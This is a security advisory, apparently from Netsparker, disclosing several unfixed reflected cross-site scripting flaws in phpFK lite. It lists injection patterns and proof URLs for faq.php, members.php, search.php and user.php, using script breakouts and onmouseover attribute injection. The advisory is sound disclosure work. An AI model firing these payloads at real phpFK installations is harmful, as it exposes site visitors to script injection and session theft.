Information
--------------------
Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in phpFK
Affected Software: phpFK
Affected Versions: lite-version
Homepage: https://www.frank-karau.de/
Vulnerability: Reflected Cross-site Scripting
Severity: 7.4 High
Status: Not Fixed
CVSS Score (3.0): CVE-2017-18364
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-006

Technical Details
--------------------

  1. /faq.php (Query Based (Query String))

Parameter Name : Query Based
Parameter Type : Query String
Attack Pattern : '"--></style></scRipt><scRipt>netsparker(0x00164F)</scRipt>
Proof URL : http://{domain}/faq.php?'"--></style></scRipt><scRipt>alert(0x00164F)</scRipt>

  1. /members.php (Query Based (Query String))

Parameter Name : Query Based
Parameter Type : Query String
Attack Pattern : '"--></style></scRipt><scRipt>netsparker(0x00158E)</scRipt>
Proof URL : http://{domain}/members.php?'"--></style></scRipt><scRipt>alert(0x00158E)</scRipt>

  1. /members.php (search (GET))

Parameter Name : search
Parameter Type : GET
Attack Pattern : x%22+onmouseover%3dnetsparker(0x0069A0)+x%3d%22
Proof URL : http://{domain}/members.php?search=x"%20onmouseover=netsparker(0x0069A0)%20x="&sort=username

  1. /members.php (search (POST))

Parameter Name : search
Parameter Type : POST
Attack Pattern : x%22+onmouseover%3dnetsparker(0x006EBA)+x%3d%22

  1. /search.php (Query Based (Query String))

Parameter Name : Query Based
Parameter Type : Query String
Attack Pattern : '"--></style></scRipt><scRipt>netsparker(0x00171D)</scRipt>
Proof URL : http://{domain}/search.php?'"--></style></scRipt><scRipt>alert(0x00171D)</scRipt>

  1. /user.php (user (GET))

Parameter Name : user
Parameter Type : GET
Attack Pattern : %3c%2ftitle%3e%3cscRipt%3enetsparker(0x001122)%3c%2fscRipt%3e
Proof URL : http://{domain}/user.php?user=</title><scRipt>netsparker(0x001122)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

2nd April 2019 - First Contact Attempted
10th July 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omer Citak while testing the Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.